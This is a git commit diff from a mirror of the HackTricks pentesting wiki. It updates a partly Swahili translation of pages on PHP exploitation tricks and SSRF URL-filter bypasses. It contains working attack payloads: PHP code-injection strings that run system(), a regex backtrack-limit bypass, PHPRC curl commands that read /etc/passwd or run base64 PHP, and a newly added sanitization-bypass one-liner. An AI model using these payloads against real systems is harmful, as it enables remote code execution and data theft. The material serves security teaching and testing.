mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-20 16:08:27 +00:00
Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R
This commit is contained in:
parent
f72d000ba5
commit
e49eb8b9c4
3 changed files with 64 additions and 54 deletions
.gitbook/assets
network-services-pentesting/pentesting-web/php-tricks-esp
pentesting-web/ssrf-server-side-request-forgery
BIN
.gitbook/assets/View.nib
generated
Normal file
BIN
.gitbook/assets/View.nib
generated
Normal file
Binary file not shown.
|
@ -1,8 +1,8 @@
|
|||
# PHP Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -37,7 +37,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
```
|
||||
## Kupita Mifano ya PHP
|
||||
|
||||
### Mifano ya Kijumla/Mabadiliko ya Aina ( == )
|
||||
### Mifano ya Kijinga/Kuchanganya Aina ( == )
|
||||
|
||||
Ikiwa `==` inatumika katika PHP, basi kuna kesi zisizotarajiwa ambapo mifano haiwezi kutenda kama inavyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina sawa, ikiwa unataka pia kulinganisha kwamba aina ya data inayolinganishwa ni sawa unahitaji kutumia `===`.
|
||||
|
||||
|
@ -47,18 +47,18 @@ Meza za kulinganisha za PHP: [https://www.php.net/manual/en/types.comparisons.ph
|
|||
|
||||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> True` Msimbo ambao hauanzishi na nambari ni sawa na nambari
|
||||
* `"0xAAAA" == "43690" -> True` Msimbo unaoundwa na nambari katika muundo wa dec au hex unaweza kulinganishwa na nambari/nyuzi nyingine na True kama matokeo ikiwa nambari zilikuwa sawa (nambari katika msimbo zinatafsiriwa kama nambari)
|
||||
* `"0e3264578" == 0 --> True` Msimbo unaoanza na "0e" na kufuatwa na chochote utakuwa sawa na 0
|
||||
* `"0X3264578" == 0X --> True` Msimbo unaoanza na "0" na kufuatwa na herufi yoyote (X inaweza kuwa herufi yoyote) na kufuatwa na chochote utakuwa sawa na 0
|
||||
* `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti ingizo la msimbo la "0" na maudhui fulani yanayohesabiwa na kulinganishwa nayo. Hivyo, ikiwa unaweza kutoa thamani itakayounda hash inayooanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **misimbo iliyohesabiwa tayari** yenye muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` Herufi yoyote katika msimbo ni sawa na int 0
|
||||
* `"string" == 0 -> True` Mfuatano ambao hauanzishi na nambari ni sawa na nambari
|
||||
* `"0xAAAA" == "43690" -> True` Mfuatano unaoundwa na nambari katika muundo wa dec au hex unaweza kulinganishwa na nambari/mfuatano mwingine na True kama matokeo ikiwa nambari zilikuwa sawa (nambari katika mfuatano zinatafsiriwa kama nambari)
|
||||
* `"0e3264578" == 0 --> True` Mfuatano unaoanzishwa na "0e" na kufuatwa na chochote kitakuwa sawa na 0
|
||||
* `"0X3264578" == 0X --> True` Mfuatano unaoanzishwa na "0" na kufuatwa na herufi yoyote (X inaweza kuwa herufi yoyote) na kufuatwa na chochote kitakuwa sawa na 0
|
||||
* `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti ingizo la mfuatano wa "0" na maudhui fulani yanayohesabiwa na kulinganishwa nayo. Hivyo, ikiwa unaweza kutoa thamani itakayounda hash inayooanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **mfuatano ambao tayari umehesabiwa** kwa muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` Herufi yoyote katika mfuatano ni sawa na int 0
|
||||
|
||||
Maelezo zaidi katika [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
### **in\_array()**
|
||||
|
||||
**Mabadiliko ya Aina** pia yanahusisha kazi ya `in_array()` kwa default (unahitaji kuweka argument ya tatu kuwa kweli ili kufanya kulinganisha kwa ukali):
|
||||
**Kuchanganya Aina** pia kunaathiri kazi ya `in_array()` kwa default (unahitaji kuweka argument ya tatu kuwa kweli ili kufanya kulinganisha kwa ukali):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
|
@ -85,9 +85,9 @@ Hata kama `===` inatumika kunaweza kuwa na makosa yanayofanya **kulinganisha kuw
|
|||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** inaweza kutumika **kuhakiki ingizo la mtumiaji** (ina **angalia** kama neno lolote/regex kutoka kwa **blacklist** lipo kwenye **ingizo la mtumiaji** na kama halipo, msimbo unaweza kuendelea na utekelezaji wake).
|
||||
**`preg_match()`** inaweza kutumika **kuhakiki ingizo la mtumiaji** (ina **angalia** kama neno/regex lolote kutoka kwenye **blacklist** lipo kwenye **ingizo la mtumiaji** na kama halipo, msimbo unaweza kuendelea na utekelezaji wake).
|
||||
|
||||
#### New line bypass
|
||||
#### Njia ya kupita mistari mipya
|
||||
|
||||
Hata hivyo, wakati wa kuweka mipaka ya mwanzo wa regexp `preg_match()` **inaangalia tu mstari wa kwanza wa ingizo la mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kutuma** ingizo katika **mistari kadhaa**, unaweza kuwa na uwezo wa kupita ukaguzi huu. Mfano:
|
||||
```php
|
||||
|
@ -125,17 +125,17 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kwa kifupi, tatizo linatokea kwa sababu ya `preg_*` functions katika PHP inategemea [PCRE library](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions zinapatikana kwa kutumia wito mwingi wa recursive, ambayo inatumia nafasi kubwa ya stack. Inawezekana kuweka kikomo kwenye idadi ya recursions zinazoruhusiwa, lakini katika PHP kikomo hiki [kinarudi kwa 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya kinachoweza kuwekwa kwenye stack.
|
||||
Kwa kifupi, tatizo linatokea kwa sababu ya `preg_*` functions katika PHP inategemea [PCRE library](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions zinapatikana kwa kutumia wito mwingi wa recursive, ambayo inatumia nafasi kubwa ya stack. Inawezekana kuweka kikomo juu ya idadi ya recursions zinazoruhusiwa, lakini katika PHP kikomo hiki [kimewekwa kuwa 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya kinachoweza kutoshea kwenye stack.
|
||||
|
||||
[Thread hii ya Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ilihusishwa katika chapisho ambapo inazungumziwa kwa undani zaidi kuhusu tatizo hili. Kazi yetu sasa ilikuwa wazi:\
|
||||
**Tuma input ambayo itafanya regex ifanye 100\_000+ recursions, ikisababisha SIGSEGV, na kufanya `preg_match()` function irudishe `false` hivyo kufanya programu ifikirie kwamba input yetu si mbaya, ikitupa mshangao mwishoni mwa payload kama `{system(<verybadcommand>)}` ili kupata SSTI --> RCE --> flag :)**.
|
||||
|
||||
Vizuri, katika maneno ya regex, hatufanyi kweli 100k "recursions", bali tunahesabu "backtracking steps", ambayo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) inavyosema inarudi kwa 1\_000\_000 (1M) katika variable `pcre.backtrack_limit`.\
|
||||
Vizuri, katika maneno ya regex, hatufanyi kweli 100k "recursions", bali tunahesabu "backtracking steps", ambayo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) inavyosema inarudiwa kuwa 1\_000\_000 (1M) katika variable `pcre.backtrack_limit`.\
|
||||
Ili kufikia hiyo, `'X'*500_001` itasababisha hatua milioni moja za backtracking (500k mbele na 500k nyuma):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
### Aina ya Kucheza kwa Obfuscation ya PHP
|
||||
### Aina ya Kucheza kwa obfuscation ya PHP
|
||||
```php
|
||||
$obfs = "1"; //string "1"
|
||||
$obfs++; //int 2
|
||||
|
@ -148,7 +148,7 @@ $obfs += ""; //int 7
|
|||
```
|
||||
## Execute After Redirect (EAR)
|
||||
|
||||
Ikiwa PHP inarejelea kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** kazi inayofanywa **baada ya kichwa `Location`** kuwekwa, PHP inaendelea kutekeleza na kuongezea data kwenye mwili:
|
||||
Ikiwa PHP inarejelea kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** kazi inayopigwa baada ya kichwa `Location` kuwekwa, PHP inaendelea kutekeleza na kuongezea data kwenye mwili:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
|
@ -168,16 +168,16 @@ Check:
|
|||
|
||||
## More tricks
|
||||
|
||||
* **register\_globals**: Katika **PHP < 4.1.1.1** au ikiwa imewekwa vibaya, **register\_globals** inaweza kuwa hai (au tabia zao zinaweza kuigwa). Hii ina maana kwamba katika mabadiliko ya kimataifa kama $\_GET ikiwa yana thamani e.g. $\_GET\["param"]="1234", unaweza kuyafikia kupitia **$param. Hivyo, kwa kutuma vigezo vya HTTP unaweza kubadilisha mabadiliko** yanayotumika ndani ya msimbo.
|
||||
* **Cookies za PHPSESSION za eneo moja zinahifadhiwa mahali pamoja**, hivyo ikiwa ndani ya eneo **cookies tofauti zinatumika katika njia tofauti** unaweza kufanya njia hiyo **ifikie cookie ya njia** kwa kuweka thamani ya cookie ya njia nyingine.\
|
||||
* **register\_globals**: Katika **PHP < 4.1.1.1** au ikiwa imewekwa vibaya, **register\_globals** inaweza kuwa hai (au tabia zao zinaweza kuigwa). Hii ina maana kwamba katika mabadiliko ya kimataifa kama $\_GET ikiwa yana thamani e.g. $\_GET\["param"]="1234", unaweza kuyafikia kupitia **$param. Kwa hivyo, kwa kutuma vigezo vya HTTP unaweza kubadilisha mabadiliko** yanayotumika ndani ya msimbo.
|
||||
* **Cookies za PHPSESSION za eneo moja zinahifadhiwa mahali pamoja**, kwa hivyo ikiwa ndani ya eneo **cookies tofauti zinatumika katika njia tofauti** unaweza kufanya njia hiyo **ifikie cookie ya njia** kwa kuweka thamani ya cookie ya njia nyingine.\
|
||||
Kwa njia hii ikiwa **njia zote mbili zinapata mabadiliko yenye jina sawa** unaweza kufanya **thamani ya mabadiliko hayo katika path1 itumike kwa path2**. Na kisha path2 itachukulia kama halali mabadiliko ya path1 (kwa kutoa cookie jina linalolingana nayo katika path2).
|
||||
* Unapokuwa na **majina ya watumiaji** wa mashine. Angalia anwani: **/\~\<USERNAME>** ili kuona ikiwa saraka za php zimewezeshwa.
|
||||
* [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
Hizi kazi kwa kawaida hutumiwa katika PHP ili **kuunda hash kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
|
||||
Mifumo inayoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD\_DEFAULT mara nyingi ni sawa na PASSWORD\_BCRYPT.** Na kwa sasa, **PASSWORD\_BCRYPT** ina **kikomo cha ukubwa katika ingizo cha 72bytes**. Hivyo, unapojaribu kuunda hash ya kitu kikubwa zaidi ya 72bytes kwa kutumia algorithimu hii, ni kwamba tu 72B za kwanza zitatumika:
|
||||
Hizi kazi hutumiwa kawaida katika PHP ili **kuunda hash kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
|
||||
Mifumo inayoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD\_DEFAULT mara nyingi ni sawa na PASSWORD\_BCRYPT.** Na kwa sasa, **PASSWORD\_BCRYPT** ina **kikomo cha ukubwa katika ingizo cha 72bytes**. Kwa hivyo, unapojaribu kuunda hash ya kitu kikubwa zaidi ya 72bytes kwa kutumia algorithimu hii, ni zile 72B za kwanza pekee zitakazotumika:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -189,9 +189,9 @@ True
|
|||
|
||||
#### Causing error after setting headers
|
||||
|
||||
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) you can see that sending more than 1000 GET params or 1000 POST params or 20 files, PHOP haitakuwa akipanga vichwa katika jibu.
|
||||
Kutoka [**hii thread ya twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) unaweza kuona kwamba kutuma zaidi ya 1000 GET params au 1000 POST params au faili 20, PHP haitakuwa ikipanga vichwa katika jibu.
|
||||
|
||||
Allowing to bypass for example CSP headers being set in codes like:
|
||||
Inaruhusu kupita kwa mfano vichwa vya CSP vinavyopangwa katika misimbo kama:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
|
@ -199,8 +199,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
|||
```
|
||||
#### Kujaza mwili kabla ya kuweka vichwa
|
||||
|
||||
Ikiwa **ukurasa wa PHP unachapisha makosa na kurudisha baadhi ya maelezo yaliyotolewa na mtumiaji**, mtumiaji anaweza kufanya seva ya PHP irudishe **maudhui marefu ya kutosha** ili wakati inajaribu **kuongeza vichwa** kwenye jibu seva itatupa makosa.\
|
||||
Katika hali ifuatayo **mshambuliaji alifanya seva itupe makosa makubwa**, na kama unavyoona kwenye skrini wakati php ilijaribu **kubadilisha taarifa za kichwa, haikuweza** (kwa hivyo kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):
|
||||
Ikiwa **ukurasa wa PHP unachapisha makosa na kurudisha baadhi ya maelezo yaliyotolewa na mtumiaji**, mtumiaji anaweza kufanya seva ya PHP irudishe **maudhui marefu** kiasi kwamba inapojaribu **kuongeza vichwa** kwenye jibu, seva itatupa makosa.\
|
||||
Katika hali ifuatayo, **mshambuliaji alifanya seva itupe makosa makubwa**, na kama unavyoona kwenye skrini wakati php ilijaribu **kubadilisha taarifa za kichwa, haikuweza** (kwa hivyo kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -218,7 +218,7 @@ Angalia ukurasa:
|
|||
**\`ls\`;**\
|
||||
**shell\_exec("ls");**
|
||||
|
||||
[Angalia hii kwa kazi zaidi za PHP zenye manufaa](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
[Angalia hii kwa kazi za PHP zenye manufaa zaidi](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
|
||||
### **RCE kupitia** **preg\_replace()**
|
||||
```php
|
||||
|
@ -226,7 +226,7 @@ preg_replace(pattern,replace,base)
|
|||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
Ili kutekeleza msimbo katika hoja ya "replace" inahitajika angalau mechi moja.\
|
||||
Chaguo hili la preg\_replace limekuwa **lililopitwa na wakati kuanzia PHP 5.5.0.**
|
||||
Chaguo hili la preg\_replace limekuwa **lililopitwa na wakati tangu PHP 5.5.0.**
|
||||
|
||||
### **RCE kupitia Eval()**
|
||||
```
|
||||
|
@ -249,10 +249,10 @@ You will need to **break** the code **syntax**, **add** your **payload**, and th
|
|||
|
||||
**Other option** (if you have the internal code) is to modify some variable to alter the execution: `$file = "hola"`
|
||||
|
||||
### **RCE via usort()**
|
||||
### **RCE kupitia usort()**
|
||||
|
||||
Hii kazi inatumika kupanga orodha ya vitu kwa kutumia kazi maalum.\
|
||||
Ili kutumia vibaya kazi hii:
|
||||
This function is used to sort an array of items using an specific function.\
|
||||
To abuse this function:
|
||||
```php
|
||||
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
||||
VALUE: );phpinfo();#
|
||||
|
@ -280,28 +280,28 @@ To discover the number of parenthesis that you need to close:
|
|||
* `?order=id);}//`: tunapata **onyo**. Hii inaonekana kuwa sawa.
|
||||
* `?order=id));}//`: tunapata ujumbe wa kosa (`Parse error: syntax error, unexpected ')' i`). Huenda tuna mabano ya kufunga mengi kupita kiasi.
|
||||
|
||||
### **RCE via .httaccess**
|
||||
### **RCE kupitia .httaccess**
|
||||
|
||||
If you can **upload** a **.htaccess**, then you can **configure** several things and even execute code (configuring that files with extension .htaccess can be **executed**).
|
||||
|
||||
Different .htaccess shells can be found [here](https://github.com/wireghoul/htshells)
|
||||
|
||||
### RCE via Env Variables
|
||||
### RCE kupitia Env Variables
|
||||
|
||||
If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hii env variable inaruhusu upakuaji wa maktaba zisizo za kawaida unapotekeleza binaries nyingine (ingawa katika kesi hii huenda isifanye kazi).
|
||||
* **`PHPRC`** : Inatoa maagizo kwa PHP kuhusu **mahali pa kupata faili yake ya usanidi**, ambayo kwa kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi, tumia `PHPRC` kuonyesha PHP kwa hiyo. Ongeza **`auto_prepend_file`** kuingiza faili ya pili iliyopakiwa. Faili hii ya pili ina **PHP code ya kawaida, ambayo kisha inatekelezwa** na PHP runtime kabla ya msimbo mwingine wowote.
|
||||
1. Pakia faili ya PHP inayoshikilia shellcode yetu
|
||||
2. Pakia faili ya pili, inayoshikilia maagizo ya **`auto_prepend_file`** ikielekeza preprocessor ya PHP kutekeleza faili tulilopakia katika hatua ya 1
|
||||
3. Weka variable ya `PHPRC` kwa faili tulilopakia katika hatua ya 2.
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hii env variable inaruhusu kupakia maktaba za kawaida unapoendesha binaries nyingine (ingawa katika kesi hii huenda isifanye kazi).
|
||||
* **`PHPRC`** : Inatoa maagizo kwa PHP kuhusu **mahali pa kupata faili yake ya usanidi**, ambayo kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi, tumia `PHPRC` kuonyesha PHP kwenye hiyo. Ongeza **`auto_prepend_file`** kuingiza faili la pili ulilopakia. Faili hii ya pili ina **PHP code ya kawaida, ambayo kisha inatekelezwa** na PHP runtime kabla ya msimbo mwingine wowote.
|
||||
1. Pakia faili la PHP linalo zawisha shellcode yetu
|
||||
2. Pakia faili la pili, linalo na **`auto_prepend_file`** maagizo yanayoelekeza preprocessor ya PHP kutekeleza faili tulilopakia katika hatua ya 1
|
||||
3. Weka variable `PHPRC` kwenye faili tulilopakia katika hatua ya 2.
|
||||
* Pata maelezo zaidi kuhusu jinsi ya kutekeleza mnyororo huu [**kutoka kwa ripoti ya asili**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
* **PHPRC** - chaguo jingine
|
||||
* **PHPRC** - chaguo lingine
|
||||
* Ikiwa huwezi **kupakia faili**, unaweza kutumia katika FreeBSD "faili" `/dev/fd/0` ambayo ina **`stdin`**, ikiwa ni **mwili** wa ombi lililotumwa kwa `stdin`:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* Au kupata RCE, wezesha **`allow_url_include`** na uongeze faili yenye **base64 PHP code**:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* Technique [**from this report**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
* Technique [**kutoka ripoti hii**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
|
||||
### XAMPP CGI RCE - CVE-2024-4577
|
||||
|
||||
|
@ -323,6 +323,13 @@ Connection: keep-alive
|
|||
phpinfo();
|
||||
?>
|
||||
|
||||
```
|
||||
## PHP Sanitization bypass & Brain Fuck
|
||||
|
||||
[**Katika chapisho hili**](https://blog.redteam-pentesting.de/2024/moodle-rce/) inawezekana kupata mawazo mazuri ya kuunda msimbo wa PHP wa brain fuck ukiwa na herufi chache tu zinazoruhusiwa.\
|
||||
Zaidi ya hayo, pia inashauriwa njia ya kuvutia ya kutekeleza kazi ambazo ziliruhusu kupita ukaguzi kadhaa:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
```
|
||||
## PHP Static analysis
|
||||
|
||||
|
@ -334,7 +341,7 @@ $_COOKIE | if #This mea
|
|||
```
|
||||
Ikiwa unarekebisha programu ya PHP unaweza kuweka wazi uchapishaji wa makosa kwa kuongeza `display_errors = On` katika `/etc/php5/apache2/php.ini` na kuanzisha upya apache: `sudo systemctl restart apache2`
|
||||
|
||||
### Kuondoa ufichaji wa msimbo wa PHP
|
||||
### Kuondoa ufichaji wa PHP
|
||||
|
||||
Unaweza kutumia **web**[ **www.unphp.net**](http://www.unphp.net) **kuondoa ufichaji wa msimbo wa php.**
|
||||
|
||||
|
@ -462,8 +469,8 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -471,7 +478,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# URL Format Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -162,13 +162,17 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||
```
|
||||
### Fuzzing
|
||||
|
||||
The tool [**recollapse**](https://github.com/0xacb/recollapse) inaweza kuunda mabadiliko kutoka kwa ingizo lililotolewa ili kujaribu kupita regex inayotumika. Angalia [**hii posti**](https://0xacb.com/2022/11/21/recollapse/) pia kwa maelezo zaidi.
|
||||
The tool [**recollapse**](https://github.com/0xacb/recollapse) can generate variations from a given input to try to bypass the used regex. Check [**this post**](https://0xacb.com/2022/11/21/recollapse/) also for more information.
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
Check out the [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) from portswigger where you can introduce the allowed host and the attackers one and it'll generate a list of URLs to try for you. It also considers if you can use the URL in a parameter, in a Host header or in a CORS header.
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
Inaweza kuwa inawezekana kwamba seva inachuja **ombio la asili** la SSRF **lakini sio** jibu la **redirect** kwa ombi hilo.\
|
||||
Kwa mfano, seva iliyo hatarini kwa SSRF kupitia: `url=https://www.google.com/` inaweza kuwa inachuja **paramu ya url**. Lakini ikiwa unatumia [seva ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) kwa mahali unapotaka kuelekeza, unaweza kuwa na uwezo wa **kufikia anwani za IP zilizochujwa** kama 127.0.0.1 au hata **protokali** zilizochujwa kama gopher.\
|
||||
[Angalia ripoti hii.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
It might be possible that the server is **filtering the original request** of a SSRF **but not** a possible **redirect** response to that request.\
|
||||
For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you use a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.\
|
||||
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
